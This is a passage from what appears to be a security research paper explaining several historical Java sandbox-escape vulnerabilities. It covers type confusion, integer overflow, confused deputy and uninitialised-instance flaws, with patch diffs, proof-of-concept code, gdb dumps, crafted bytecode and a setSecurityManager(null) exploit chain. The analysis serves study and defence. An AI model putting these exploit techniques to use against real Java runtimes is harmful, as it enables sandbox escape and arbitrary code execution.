Indeed, only the long fields take space. Furthermore, since all methods in _Atomic*FieldUpdater_ classes are static, only a single instance of the updater is created. Another benefit of using _Atomic*FieldUpdater_ classes is that the garbage collector will not have to keep track of the ten million _AtomicLong_ objects. However, to be able to do that, the updater uses unsafe functionalities of Java to retrieve the memory address of the target field via the _sun.misc.Unsafe_ class. How to create an instance of a _AtomicReferenceFieldUpdater_ is illustrated below. Method newUpdater() has to be called with three parameters: tclass, the type of the class containing the field, vclass the type of the field and fieldName, the name of the field. --------------------------------------------------------------------------- 1: public static AtomicReferenceFieldUpdater newUpdater( 2: Class tclass, 3: Class vclass, 4: String fieldName) { 5: return new AtomicReferenceFieldUpdaterImpl 6: (tclass, vclass, fieldName, Reflection.getCallerClass()); 7: } --------------------------------------------------------------------------- Method newUpdater() calls the constructor of _AtomicReferenceFieldUpdaterImpl_ which does the actual work. --------------------------------------------------------------------------- 1: AtomicReferenceFieldUpdaterImpl(final Class tclass, 2: final Class vclass, 3: final String fieldName, 4: final Class caller) { 5: final Field field; 6: final Class fieldClass; 7: final int modifiers; 8: try { 9: field = AccessController.doPrivileged( 10: new PrivilegedExceptionAction() { 11: public Field run() throws NoSuchFieldException { 12: return tclass.getDeclaredField(fieldName); 13: } 14: }); 15: modifiers = field.getModifiers(); 16: sun.reflect.misc.ReflectUtil.ensureMemberAccess( 17: caller, tclass, null, modifiers); 18: ClassLoader cl = tclass.getClassLoader(); 19: ClassLoader ccl = caller.getClassLoader(); 20: if ((ccl != null) && (ccl != cl) && 21: ((cl == null) || !isAncestor(cl, ccl))) { 22: sun.reflect.misc.ReflectUtil.checkPackageAccess(tclass); 23: } 24: fieldClass = field.getType(); 25: } catch (PrivilegedActionException pae) { 26: throw new RuntimeException(pae.getException()); 27: } catch (Exception ex) { 28: throw new RuntimeException(ex); 29: } 30: 31: if (vclass != fieldClass) 32: throw new ClassCastException(); 33: 34: if (!Modifier.isVolatile(modifiers)) 35: throw new IllegalArgumentException("Must be volatile type"); 36: 37: this.cclass = (Modifier.isProtected(modifiers) && 38: caller != tclass) ? caller : null; 39: this.tclass = tclass; 40: if (vclass == Object.class) 41: this.vclass = null; 42: else 43: this.vclass = vclass; 44: offset = unsafe.objectFieldOffset(field); 45: } --------------------------------------------------------------------------- The constructor first retrieves, through reflection, the field to update (line 12). Note that the reflection call will work even if the code does not have any permission. This is the case because the call is performed within a doPrivileged() block which tells the JVM to allow certain operations even if the original caller does have the permission (see Section 2.4). Next, if the field has the protected attribute and the caller class is not the same as the tclass class, caller is stored in cclass (lines 37-38). Note that caller is set in method newUpdater() via the call to Reflection.getCallerClass(). These lines (37-38) are strange since class caller may have nothing to do with class tclass. We will see below that these lines are where the vulnerability lies. Next, the constructor stores tclass, vclass and uses reference unsafe of class _Unsafe_ to get the offset of field (lines 39-44). This is a red flag as the _Unsafe_ class is very dangerous. It can be used to directly manipulate memory which should not be possible in a Java program. If it is directly or indirectly in the hands of the analyst, it could be used to bypass the Java sandbox. Once the analyst has a reference to an _AtomicReferenceFieldUpdater_ object, he can call the set() method on it to update the field as illustrated below: --------------------------------------------------------------------------- 1: public final void set(T obj, V newValue) { 2: accessCheck(obj); 3: valueCheck(newValue); 4: U.putObjectVolatile(obj, offset, newValue); 5: } 6: 7: private final void accessCheck(T obj) { 8: if (!cclass.isInstance(obj)) 9: throwAccessCheckException(obj); 10: } 11: 12: private final void valueCheck(V v) { 13: if (v != null && !(vclass.isInstance(v))) 14: throwCCE(); 15: } --------------------------------------------------------------------------- The first parameter of set(), obj, is the instance on which the reference field has to be updated. The second parameter, newValue, is the new value of the reference field. First, set() checks that obj is an instance of type cclass (lines 2, 7-10). Then, set() checks that newValue is null or an instance of vclass, representing the field type (lines 3, 12-15). If all the checks pass, the _Unsafe_ class is used to put the new value at the right offset in object obj (line 4). The patch for the vulnerability is illustrated below. --------------------------------------------------------------------------- - this.cclass = (Modifier.isProtected(modifiers)) - ? caller : tclass; + this.cclass = (Modifier.isProtected(modifiers) + && tclass.isAssignableFrom(caller) + && !isSamePackage(tclass, caller)) + ? caller : tclass; --------------------------------------------------------------------------- As we noticed earlier, the original code is not performing enough checks on the caller object. In the patched version, the code now checks that tclass is the same class as, a super-class or a super-interface of caller. How to exploit this vulnerability becomes obvious and is illustrated below. --------------------------------------------------------------------------- 1: class Dummy { 2: protected volatile A f; 3: } 4: 5: class MyClass { 6: protected volatile B g; 7: 8: main() { 9: m = new MyClass(); 10: u = newUpdater(Dummy.class, A.class, "f"); 11: u.set(m, new A()); 12: println(m.g.getClass()); 13: } 14: } --------------------------------------------------------------------------- First the class _Dummy_ with field f of type _A_ is used to call newUpdater() (lines 1-3, 9, 10). Then, method set() is called with class _MyClass_ and new value newVal for the field f of type _A_ on the updater instance (line 11). Instead of having field f of type _A_, _MyClass_ has field g of type _B_. Thus, the actual type of g after the call to set() is _A_ but the virtual machine assumes type _B_. The println() call will print "class A" instead of "class B" (line 12). However, accessing this instance of class _A_ is done through methods and fields of class _B_. ------[ 3.1.3 - Discussion As mentioned above, the _Atomic*FieldUpdater_ classes have already been introduced in Java 1.5. However, the vulnerability was only detected in release 1.8_112 and patched in the next release 1.8_121. By dichotomy search in the releases from 1.6_ to 1.8_112 we find that the vulnerability first appears in release 1.8_92. Further testing reveals that all versions in between are also vulnerable: 1.8_101, 1.8_102 and 1.8_111. We have also tested the PoC against the first and last releases of Java 1.5: they are not vulnerable. A diff of _AtomicReferenceFieldUpdater_ between versions 1.8_91 (not vulnerable) and 1.8_92 (vulnerable) reveals that a code refactoring operation failed to preserve the semantics of all the checks performed on the input values. The non-vulnerable code of release 1.8_91 is illustrated below. --------------------------------------------------------------------------- 1: private void ensureProtectedAccess(T obj) { 2: if (cclass.isInstance(obj)) { 3: return; 4: } 5: throw new RuntimeException(... 6: } 7: 8: void updateCheck(T obj, V update) { 9: if (!tclass.isInstance(obj) || 10: (update != null && vclass != null 11: && !vclass.isInstance(update))) 12: throw new ClassCastException(); 13: if (cclass != null) 14: ensureProtectedAccess(obj); 15: } 16: 17: public void set(T obj, V newValue) { 18: if (obj == null || 19: obj.getClass() != tclass || 20: cclass != null || 21: (newValue != null 22: && vclass != null 23: && vclass != newValue.getClass())) 24: updateCheck(obj, newValue); 25: unsafe.putObjectVolatile(obj, offset, newValue); 26: } --------------------------------------------------------------------------- In the non-vulnerable version, if obj's type is different from tclass, the type of the class containing the field to update, there are potentially two conditions to pass. The first is that obj can be cast to tclass (lines 9, 12). The second, only checked if the field is protected, is that obj can be cast to cclass (lines 14, 1-6). In the vulnerable version, however, the condition is simply that obj can be cast to cclass. The condition that obj can be cast to tclass is lost. Missing a single condition is enough to create a security vulnerability which, if exploited right, results in a total bypass of the Java sandbox. Can type confusion attacks be prevented? In Java, for performance reasons, the type _T_ of an object o is not checked every time object o is used. Checking the type at every use of the object would prevent type confusion attacks but would also induce a runtime overhead. ----[ 3.2 - Integer Overflow ------[ 3.2.1 - Background An integer overflow happens when the result of an arithmetic operation is too big to fit in the number of bits of the variable. In Java, integers use 32 bits to represent signed numbers. Positive values have values from 0x00000000 (0) to 0x7FFFFFFF (2^31 - 1). Negative values have values from 0x80000000 (-2^31)to 0xFFFFFFFF (-1). If value 0x7FFFFFFF (2^31 - 1) is incremented, the result does not represent 2^31 but (-2^31). How can this be used to disable the security manager? In the next section we analyze the integer overflow of CVE-2015-4843 [20]. The integer is used as an index in an array. Using the overflow we can read/write values outside the array. These read/write primitives are used to achieve a type confusion attack. The reader already knows from the description of CVE-2017-3272 above, that the analyst can rely on such an attack to disable the security manager. ------[ 3.2.2 - Example: CVE-2015-4843 A short description of this vulnerability is available on Redhat's Bugzilla [19]. It shows that multiple integer overflows have been found in Buffers classes from the java.nio package and that the vulnerability could be used to execute arbitrary code. The vulnerability patch actually fixes the file java/nio/Direct-X-Buffer.java.template used to generate classes of the form DirectXBufferY.java where X could be "Byte", "Char", "Double", "Int", "Long", "Float" or "Short" and Y could be "S", "U", "RS" or "RU". "S" means that the array contains signed numbers, "U" unsigned numbers, "RS" signed numbers in read-only mode and "RU" unsigned numbers in read-only mode. Each of the generated classes _C_ wraps an array of a certain type that can be manipulated via methods of class _C_. For instance, DirectIntBufferS.java wraps an array of 32 bit signed integers and defines methods get() and set() to, respectively, copy elements from an array to the internal array of the DirectIntBufferS class or to copy elements from the internal array to an array outside the class. Below is an excerpt from the vulnerability patch: --------------------------------------------------------------------------- 14: public $Type$Buffer put($type$[] src, int offset, int length) { 15: #if[rw] 16: - if ((length << $LG_BYTES_PER_VALUE$) > Bits.JNI_COPY_FROM_ARRAY_THRESHOLD) { 17: + if (((long)length << $LG_BYTES_PER_VALUE$) > Bits.JNI_COPY_FROM_ARRAY_THRESHOLD) { 18: checkBounds(offset, length, src.length); 19: int pos = position(); 20: int lim = limit(); 21: @@ -364,12 +364,16 @@ 22: 23: #if[!byte] 24: if (order() != ByteOrder.nativeOrder()) 25: - Bits.copyFrom$Memtype$Array(src, offset << $LG_BYTES_PER_VALUE$, 26: - ix(pos), length << $LG_BYTES_PER_VALUE$); 27: + Bits.copyFrom$Memtype$Array(src, 28: + (long)offset << $LG_BYTES_PER_VALUE$, 29: + ix(pos), 30: + (long)length << $LG_BYTES_PER_VALUE$); 31: else 32: #end[!byte] 33: - Bits.copyFromArray(src, arrayBaseOffset, offset << $LG_BYTES_PER_VALUE$, 34: - ix(pos), length << $LG_BYTES_PER_VALUE$); 35: + Bits.copyFromArray(src, arrayBaseOffset, 36: + (long)offset << $LG_BYTES_PER_VALUE$, 37: + ix(pos), 38: + (long)length << $LG_BYTES_PER_VALUE$); 39: position(pos + length); --------------------------------------------------------------------------- The fix (lines 17, 28, 36, and 38) consists in casting the 32 bit integers to 64 bit integers before performing a shift operation which, on 32 bit, might result in an integer overflow. The corrected version of the put() method extracted from java.nio.DirectIntBufferS.java from Java 1.8 update 65 is below: --------------------------------------------------------------------------- 354: public IntBuffer put(int[] src, int offset, int length) { 355: 356: if (((long)length << 2) > Bits.JNI_COPY_FROM_ARRAY_THRESHOLD) { 357: checkBounds(offset, length, src.length); 358: int pos = position(); 359: int lim = limit(); 360: assert (pos <= lim); 361: int rem = (pos <= lim ? lim - pos : 0); 362: if (length > rem) 363: throw new BufferOverflowException(); 364: 365: 366: if (order() != ByteOrder.nativeOrder()) 367: Bits.copyFromIntArray(src, 368: (long)offset << 2, 369: ix(pos), 370: (long)length << 2); 371: else 372: 373: Bits.copyFromArray(src, arrayBaseOffset, 374: (long)offset << 2, 375: ix(pos), 376: (long)length << 2); 377: position(pos + length); 378: } else { 379: super.put(src, offset, length); 380: } 381: return this; 382: 383: 384: 385: } --------------------------------------------------------------------------- This method copies length elements from the src array from the specified offset to the internal array. At line 367, method Bits.copyFromIntArray() is called. This Java method takes as parameter the reference to the source array, the offset from the source array in bytes, the index into the destination array in bytes and the number of bytes to copy. As the three last parameters represent sizes and offsets in bytes, they have to be multiplied by four (shifted by 2 on the left). This is done for offset (line 374), pos (line 375) and length (line 376). Note that for pos, the operation is done within the ix() method. In the vulnerable version, casts to long are not present, which makes the code vulnerable to integer overflows. Similarly, the get() method, which copies elements from the internal array to an external array, is also vulnerable. The get() method is very similar to the put() method, except that the call to copyFromIntArray() is replaced by a call to copyToIntArray(): --------------------------------------------------------------------------- 262: public IntBuffer get(int[] dst, int offset, int length) { 263: [...] 275: Bits.copyToIntArray(ix(pos), dst, 276: (long)offset << 2, 277: (long)length << 2); [...] 291: } --------------------------------------------------------------------------- Since methods get() and put() are very similar, in the following we only describe how to exploit the integer overflow in the get() method. The approach is the same for the put() method. Let's have a look at the Bits.copyFromArray() method, called in the get() method. This method is in fact a native method: --------------------------------------------------------------------------- 803: static native void copyToIntArray(long srcAddr, Object dst, 804: long dstPos, long length); --------------------------------------------------------------------------- The C code of this method is shown below. --------------------------------------------------------------------------- 175: JNIEXPORT void JNICALL 176: Java_java_nio_Bits_copyToIntArray(JNIEnv *env, jobject this, 177: jlong srcAddr, jobject dst, jlong dstPos, jlong length) 178: { 179: jbyte *bytes; 180: size_t size; 181: jint *srcInt, *dstInt, *endInt; 182: jint tmpInt; 183: 184: srcInt = (jint *)jlong_to_ptr(srcAddr); 185: 186: while (length > 0) { 187: /* do not change this code, see WARNING above */ 188: if (length > MBYTE) 189: size = MBYTE; 190: else 191: size = (size_t)length; 192: 193: GETCRITICAL(bytes, env, dst); 194: 195: dstInt = (jint *)(bytes + dstPos); 196: endInt = srcInt + (size / sizeof(jint)); 197: while (srcInt < endInt) { 198: tmpInt = *srcInt++; 199: *dstInt++ = SWAPINT(tmpInt); 200: } 201: 202: RELEASECRITICAL(bytes, env, dst, 0); 203: 204: length -= size; 205: srcAddr += size; 206: dstPos += size; 207: } 208: } --------------------------------------------------------------------------- We notice that there is no check on the array indices. If the index is less than zero or greater or equal to the array size the code will run also. This code first transforms a long to a 32 bit integer pointer (line 184). Then, the code loops until length/size elements are copied (lines 186 and 204). Calls to GETCRITICAL() and RELEASECRITICAL() (lines 193 and 202) are used to synchronize the access to the dst array and have thus nothing to do with checking the index of the array. To execute this native code three constraints present in the get() Java method have to be satisfied: - Constraint 1: --------------------------------------------------------------------------- 356: if (((long)length << 2) > Bits.JNI_COPY_FROM_ARRAY_THRESHOLD) { --------------------------------------------------------------------------- - Constraint 2: --------------------------------------------------------------------------- 357: checkBounds(offset, length, src.length); --------------------------------------------------------------------------- - Constraint 3: --------------------------------------------------------------------------- 362: if (length > rem) --------------------------------------------------------------------------- We do not mention the assertion at line 360 since it is only checked if the "-ea" (enable assertions) option is set in the VM. This is almost never the case in production since it entails slowdowns. In the first constraint, JNI_COPY_FROM_ARRAY_THRESHOLD represents the threshold (in number of elements to copy) from which the copy will be done via native code. Oracle has empirically determined that it is worth calling native code from 6 elements. To satisfy this constraint, the number of elements to copy must be greater than 1 (6 >> 2). The second constraint is present in the checkBounds() method: --------------------------------------------------------------------------- 564: static void checkBounds(int off, int len, int size) { 566: if ((off | len | (off + len) | (size - (off + len))) < 0) 567: throw new IndexOutOfBoundsException(); 568: } --------------------------------------------------------------------------- The second constraint can be expressed as follows: --------------------------------------------------------------------------- 1: offset > 0 AND length > 0 AND (offset + length) > 0 2: AND (dst.length - (offset + length)) > 0. --------------------------------------------------------------------------- The third constraint checks that the remaining number of elements is less than or equal to the number of elements to copy: --------------------------------------------------------------------------- length < lim - pos --------------------------------------------------------------------------- To simplify, we suppose that the current index of the array is 0. The constraint then becomes: --------------------------------------------------------------------------- length < lim --------------------------------------------------------------------------- which is the same as --------------------------------------------------------------------------- length < dst.length --------------------------------------------------------------------------- A solution for these constraints is: --------------------------------------------------------------------------- dst.length = 1209098507 offset = 1073741764 length = 2 --------------------------------------------------------------------------- With this solution, all the constraints are satisfied, and since there is an integer overflow we can read 8 bytes (2*4) at a negative index of -240 (1073741764 << 2). We now have a read primitive to read bytes before the dst array. Using the same technique on the get() method we get a primitive to write bytes before the dst array. We can check that our analysis is correct by writing a simple PoC and execute it on a vulnerable version of the JVM such as Java 1.8 update 60. --------------------------------------------------------------------------- 1: public class Test { 2: 3: public static void main(String[] args) { 4: int[] dst = new int[1209098507]; 5: 6: for (int i = 0; i < dst.length; i++) { 7: dst[i] = 0xAAAAAAAA; 8: } 9: 10: int bytes = 400; 11: ByteBuffer bb = ByteBuffer.allocateDirect(bytes); 12: IntBuffer ib = bb.asIntBuffer(); 13: 14: for (int i = 0; i < ib.limit(); i++) { 15: ib.put(i, 0xBBBBBBBB); 16: } 17: 18: int offset = 1073741764; // offset << 2 = -240 19: int length = 2; 20: 21: ib.get(dst, offset, length); // breakpoint here 22: } 23: 24: } --------------------------------------------------------------------------- This code creates an array of size 1209098507 (line 4) and then initializes all the elements of this array to 0xAAAAAAAA (lines 6-8). It then creates an instance ib of type IntBuffer and initializes all elements of its internal array (integers) to 0xBBBBBBBB (lines 10-16). Finally, it calls the get() method to copy 2 elements from ib's internal array to dst with a negative offset of -240 (lines 18-21). Executing this code does not crash the VM. Moreover, we notice that after calling get, no element of the dst array have been modified. This means that 2 elements from ib's internal array have been copied outside dst. Let's check this by setting a breakpoint at line 21 and then launching gdb on the process running the JVM. In the Java code we have used sun.misc.Unsafe to calculate the address of dst which is 0x20000000. --------------------------------------------------------------------------- $ gdb -p 1234 [...] (gdb) x/10x 0x200000000 0x200000000: 0x00000001 0x00000000 0x3f5c025e 0x4811610b 0x200000010: 0xaaaaaaaa 0xaaaaaaaa 0xaaaaaaaa 0xaaaaaaaa 0x200000020: 0xaaaaaaaa 0xaaaaaaaa (gdb) x/10x 0x200000000-240 0x1ffffff10: 0x00000000 0x00000000 0x00000000 0x00000000 0x1ffffff20: 0x00000000 0x00000000 0x00000000 0x00000000 0x1ffffff30: 0x00000000 0x00000000 --------------------------------------------------------------------------- With gdb we notice that elements of the dst array have been initialized to 0xAAAAAAAA as expected. The array doest not start by 0xAAAAAAAA directly but has a 16 byte header which contains among other the size of the array (0x4811610b = 1209098507). For now, there is nothing (only null bytes) 240 bytes before the array. Let's execute the get Java method and check again the memory state with gdb: --------------------------------------------------------------------------- (gdb) c Continuing. ^C Thread 1 "java" received signal SIGINT, Interrupt. 0x00007fb208ac86cd in pthread_join (threadid=140402604672768, thread_return=0x7ffec40d4860) at pthread_join.c:90 90 in pthread_join.c (gdb) x/10x 0x200000000-240 0x1ffffff10: 0x00000000 0x00000000 0x00000000 0x00000000 0x1ffffff20: 0xbbbbbbbb 0xbbbbbbbb 0x00000000 0x00000000 0x1ffffff30: 0x00000000 0x00000000 --------------------------------------------------------------------------- The copy of two elements from ib's internal array to dst "worked": they have been copied 240 bytes before the first element of dst. For some reason the program did not crash. Looking at the memory map of the process indicates that there's a memory zone just before 0x20000000 which is rwx: --------------------------------------------------------------------------- $ pmap 1234 [...] 00000001fc2c0000 62720K rwx-- [ anon ] 0000000200000000 5062656K rwx-- [ anon ] 0000000335000000 11714560K rwx-- [ anon ] [...] --------------------------------------------------------------------------- As explained below, in Java, a type confusion is synonym of total bypass of the sandbox. The idea for vulnerability CVE-2017-3272 is to use the read and write primitives to perform the type confusion. We aim at having the following structure in memory: --------------------------------------------------------------------------- B[] |0|1|............|k|......|l| A[] |0|1|2|....|i|................|m| int[] |0|..................|j|....|n| --------------------------------------------------------------------------- An array of elements of type _B_ just before an array of elements of type _A_ just before the internal array of an _IntBuffer_ object. The first step consists in using the read primitive to copy the address of elements of type _A_ (at index i) inside the internal integer array (at index j). The second steps consists in copying the reference from the internal array (at index j) to an element of type _B_ (at index k). Once the two steps are done, the JVM will think element at index k is of type _B_, but it is actually an element of type _A_. The code handling the heap is complex and can change from VM to VM (Hotspot, JRockit, etc.) but also from version to version. We have obtained a stable situation where all the three arrays are next to each other for 50 different versions of the JVM with the following array sizes: --------------------------------------------------------------------------- l = 429496729 m = l n = 858993458 --------------------------------------------------------------------------- ------[ 3.2.3 - Discussion We have tested the exploit on all publicly available versions of Java 1.6, 1.7 and 1.8. All in all 51 versions are vulnerable: 18 versions of 1.6 (1.6_23 to 1.6_45), 28 versions of 1.7 (1.7_0 to 1.7_80) and 5 versions of 1.8 (1.8_05 to 1.8_60). We have already discussed the patch above: the patched code now first casts 32 bit integers to long before doing the shift operation. This efficiently prevents integer overflows. --[ 4 - Java Level Vulnerabilities ----[ 4.1 - Confused Deputy ------[ 4.1.1 - Background Confused deputy attacks are a very common type of attack on the Java platform. Example attacks are the exploits for CVE-2012-5088, CVE-2012-5076, CVE-2013-2460, and also CVE-2012-4681 which we present in detail below. The basic idea is that exploit code aims for access to private methods or fields of system classes in order to, e.g., deactivate the security manager. Instead of accessing the desired class member directly, however, the exploit code will perform the access on behalf of a trusted system class. Typical ways to abuse a system class for that purpose is by exploiting insecure use of reflection or MethodHandles, i.e., a trusted system class performs reflective read access to a target field which can be determined by the analyst. ------[ 4.1.2 - Example: CVE-2012-4681 We will have a look at CVE-2012-4681, because this is often referred to by other authors as an example of a confused deputy attack. As a first step, we retrieve access to _sun.awt.SunToolkit_, a restricted class which should be inaccessible to untrusted code. --------------------------------------------------------------------------- 1: Expression expr0 = new Expression(Class.class, "forName", 2: new Object[] {"sun.awt.SunToolkit"}); 3: Class sunToolkit = (Class)expr.execute().getValue(); --------------------------------------------------------------------------- This already exploits a vulnerability. Even though we specify Class.forName() as the target method of the Expression, this method is actually not called. Instead, _Expression_ implements custom logic specifically for this case, which loads classes without properly checking access permissions. Thus, _Expression_ serves as our confused deputy here that loads a class for us that we would otherwise not be allowed to load. As a next step, we use SunToolkit.getField() to get access to the private field Statement.acc. --------------------------------------------------------------------------- 1: Expression expr1 = new Expression(sunToolkit, "getField", 2: new Object[] {Statement.class, "acc"}); 3: Field acc = expr1.execute().getValue(); --------------------------------------------------------------------------- getField() is another confused deputy, on whose behalf we get reflective access to a private field of a system class. The following snippet shows that getField() uses doPrivileged() to get the requested field, and also set it accessible, so that its value can be modified later. ----------------------------| SunToolkit.java |---------------------------- 1: public static Field getField(final Class klass, 2: final String fieldName) { 3: return AccessController.doPrivileged( 4: new PrivilgedAction() { 5: public Field run() { 6: ... 7: Field field = klass.getDeclaredField(fieldName); 8: ... 9: field.setAccessible(true); 10: return field; 11: ... --------------------------------------------------------------------------- Next, we create an _AccessControlContext_ which is assigned all permissions. --------------------------------------------------------------------------- 1: Permissions permissions = new Permissions(); 2: permissions.add(new AllPermission()); 3: ProtectionDomain pd = new ProtectionDomain(new CodeSource( 4: new URL("file:///"), new Certificate[0]), permissions); 5: AccessControlContext newAcc = 6: AccessControlContext(new ProtectionDomain[] {pd}); --------------------------------------------------------------------------- _Statement_ objects can represent arbitrary method calls. When an instance of _Statement_ is created, it stores the current security context in Statement.acc. When calling Statement.execute(), it will execute the call it represents within the security context that has originally been stored in Statement.acc to ensure that it calls the method with the same privileges as if it were called directly. We next create a _Statement_ that represents the call System.setSecurityManager(null) and overwrite its _AccessControlContext_ stored in Statement.acc with our new _AccessControlContext_ that has all permissions. --------------------------------------------------------------------------- 1: Statement stmt = new Statement(System.class, "setSecurityManager", 2: new Object[1]); 3: acc.set(stmt, newAcc) --------------------------------------------------------------------------- Finally, we call stmt.execute() to actually perform the call to setSecurityManager(). This call will succeed, because we have replaced the security context in stmt.acc with a security context that has been assigned all privileges. ------[ 4.1.3 - Discussion The problem of confused deputy attacks naturally arises from the very core concepts of Java platform security. One crucial mechanism of the sandbox is stack-based access control, which inspects the call stack whenever sensitive operations are attempted, thus detecting direct access from untrusted code to sensitive class members, for example. In many cases, however, this stack inspection terminates before all callers on the current stack have been checked for appropriate permissions. There are two common cases when this happens. In the first case, one of the callers on the stack calls doPrivileged() to explicitly state that the desired action is deemed secure, even if called from unprivileged code. While doPrivileged() generally is a sensible mechanism, it can also be used incorrectly in situations where not all precautions have been taken to actually ensure that a specific operation is secure. In the second case, a method in a system class will manually check properties of the immediate caller only, and skip the JVM's access control mechanism that would inspect also the other callers on the stack. In both these cases can analysts profit from incomplete stack walks by performing certain sensitive actions simply on behalf of system classes. ----[ 4.2 - Uninitialized Instance ------[ 4.2.1 - Background A crucial step in Java object initialization is calling the constructor of the respective type. Constructors contain necessary code for variable initialization, but may also contain security checks. It is therefore important for the security and stability of the platform to enforce that constructors are actually called before object initialization completes and methods of the type are invoked by other code. Enforcing constructor calls is in the responsibility of the bytecode verifier, which checks all classes during loading to ensure their validity. This also includes, for instance, checking that jumps land on valid instructions and not in the middle of an instruction, and checking that the control flow ends with a return instruction. Furthermore, it also checks that instructions operate on valid types, which is required to prevent type confusion attacks, which we presented in Section 3.1.1. Historically, to check type validity, the JVM relied on a data flow analysis to compute a fix point. This analysis may require to perform multiple pass over the same paths. As this is time consuming, and may slower the class loading process, a new approach has been developed to perform the type checking in linear time where each path is only checked once. To achieve that, meta-information called stack map frames have been added along the bytecode. In brief, stack map frames describe the possible types at each branch targets. Stack map frames are stored in a structure called the stack map table [25]. There is an uninitialized instance vulnerability when the analyst is able to create an instance on which the call to (*), the constructor of the object or the constructor of the super class, is not executed. This vulnerability directly violates the specification of the virtual machine [21]. The consequences on the security of the JVM is that with an uninitialized instance vulnerability an analyst can instantiate objects he should not be able to and have access to properties and methods he should not have access to. This could potentially lead to a sandbox escape. ------[ 4.2.2 - Example: CVE-2017-3289 The description of the CVE indicates that "Successful attacks of this vulnerability can result in takeover of Java SE, Java SE Embedded." [22]. As for CVE-2017-3272, this means it might be possible to exploit the vulnerability to escape the Java sandbox. Redhat's bugzilla indicates that "An insecure class construction flaw, related to the incorrect handling of exception stack frames, was found in the Hotspot component of OpenJDK. An untrusted Java application or applet could use this flaw to bypass Java sandbox restrictions." [23]. This informs the analyst that (1) the vulnerability lies in C/C++ code (Hotspot is the name of the Java VM) and that (2) the vulnerability is related to an illegal class construction and to exception stack frames. Information (2) indicates that the vulnerability is probably in the C/C++ code checking the validity of the bytecode. The page also links to the OpenJDK's patch for this vulnerability. The OpenJDK's patch "8167104: Additional class construction refinements" fixing the vulnerability is available online [24]. Five C++ files are patched: "classfile/verifier.cpp", the class responsible for verifying the structure and the validity of a class file, "classfile/stackMapTable.{cpp, hpp}", the files handling the stack map table, and "classfile/stackMapFrame.{cpp, hpp}", the files representing the stack map frames. By looking at the diff, one notices that function StackMapFrame::has_flag_match_exception() has been removed and a condition, which we will refer to as C1, has been updated by removing the call to has_flag_match_exception(). Also, methods match_stackmap() and is_assignable_to() have now one less parameter: "bool handler" has been removed. This parameter "handler" is set to "true" if the verifier is currently checking an exception handler. Condition C1 is illustrated in the following listing: --------------------------------------------------------------------------- .... - bool match_flags = (_flags | target->flags()) == target->flags(); - if (match_flags || is_exception_handler && has_flag_match_exception(target)) { + if ((_flags | target->flags()) == target->flags()) { return true; } .... --------------------------------------------------------------------------- This condition is within function is_assignable_to() which checks if the current stack map frame is assignable to the target stack map frame, passed as a parameter to the function. Before the patch, the condition to return "true" was "match_flags || is_exception_handler && has_flag_match_exception(target)". In English, this means that flags for the current stack map frame and the target stack map frame are the same or that the current instruction is in an exception handler and that function "has_flag_match_exception" returns "true". Note that there is only one kind of flag called "UNINITIALIZED_THIS" (aka FLAG_THIS_UNINIT). If this flag is true, it indicates that the object referenced by "this" is uninitialized, i.e., its constructor has not yet been called. After the patch, the condition becomes "match_flags". This means that, in the vulnerable version, there is probably a way to construct bytecode for which "match_flags" is false (i.e., "this" has the uninitialized flag in the current frame but not in the target frame), but for which "is_exception_handler" is "true" (the current instruction is in an exception handler) and for which "has_flag_match_exception(target)" returns "true". But when does this function return "true"? Function has_flag_match_exception() is represented in the following listing. --------------------------------------------------------------------------- 1: .... 2: bool StackMapFrame::has_flag_match_exception( 3: const StackMapFrame* target) const { 4: 5: assert(max_locals() == target->max_locals() && 6: stack_size() == target->stack_size(), 7: "StackMap sizes must match"); 8: 9: VerificationType top = VerificationType::top_type(); 10: VerificationType this_type = verifier()->current_type(); 11: 12: if (!flag_this_uninit() || target->flags() != 0) { 13: return false; 14: } 15: 16: for (int i = 0; i < target->locals_size(); ++i) { 17: if (locals()[i] == this_type && target->locals()[i] != top) { 18: return false; 19: } 20: } 21: 22: for (int i = 0; i < target->stack_size(); ++i) { 23: if (stack()[i] == this_type && target->stack()[i] != top) { 24: return false; 25: } 26: } 27: 28: return true; 29: } 30: .... --------------------------------------------------------------------------- In order for this function to return "true" all the following conditions must pass: (1) the maximum number of local variables and the maximum size of the stack must be the same for the current frame and the target frame (lines 5-7); (2) the current frame must have the "UNINIT" flag set to "true" (line 12-14); and (3) uninitialized objects are not used in the target frame (lines 16-26). The following listing illustrates bytecode that satisfies the three conditions: --------------------------------------------------------------------------- () 0: new // class java/lang/Throwable 1: dup 2: invokespecial // Method java/lang/Throwable."":()V 3: athrow 4: new // class java/lang/RuntimeException 5: dup 6: invokespecial // Method java/lang/RuntimeException."":()V 7: athrow 8: return Exception table: from to target type 0 4 8 Class java/lang/Throwable StackMapTable: number_of_entries = 2 frame at instruction 3 local = [UNINITIALIZED_THIS] stack = [ class java/lang/Throwable ] frame at instruction 8 locals = [TOP] stack = [ class java/lang/Throwable ] --------------------------------------------------------------------------- The maximum number of locals and the maximum stack size can be set to 2 to satisfy the first condition. The current frame has "UNINITIALIZED_THIS" set to true at line 3 to satisfy the second condition. Finally, to satisfy the third condition, uninitialized locals are not used in the target of the "athrow" instruction (line 8) since the first element of the local is initialized to "TOP". Note that the code is within a try/catch block to have "is_exception_handler" set to "true" in function is_assignable_to(). Moreover, notice that the bytecode is within a constructor (() in bytecode). This is mandatory in order to have flag "UNINITIALIZED_THIS" set to true. We now know that the analyst is able to craft bytecode that returns an uninitialized object of itself. At a first glance, it may be hard to see how such an object could be used by the analyst. However, a closer look reveals that such a manipulated class could be implemented as a subclass of a system class, which can be initialized without calling super.(), the constructor of the super class. This can be used to instantiate public system classes that can otherwise not be instantiated by untrusted code, because their constructors are private, or contain permission checks. The next step is to find such classes which offer "interesting" functionalities to the analyst. The aim is to combine all the functionalities to be able to execute arbitrary code in a sandbox environment, hence bypassing the sandbox. Finding useful classes is, however, a complicated task by itself. Specifically, we are facing the following challenges. Challenge 1: Where to look for helper code The JRE ships with numerous jar files containing JCL (Java Class Library) classes. These classes are loaded as _trusted_ classes and may be leveraged when constructing an exploit. Unfortunately for the analyst, but fortunately for Java users, more and more of the classes are tagged as "restricted" meaning that _untrusted_ code cannot directly instantiate them. The number of restricted packages went from one in 1.6.0_01 to 47 in 1.8.0_121. This means that the percentage of code that the analyst cannot directly use when building an exploit went from 20% in 1.6.0_01 to 54% in 1.8.0_121. Challenge 2: Fields may not be initialized Without the proper permission it is normally not possible to instantiate a new class loader. The permission of the _ClassLoader_ class being checked in the constructor it seems, at first sight, to be an interesting target. With the vulnerability of CVE-2017-3289 it is indeed possible to instantiate a new class loader without the permission since the constructor code -- and thus the permission check -- will not be executed. However, since the constructor is 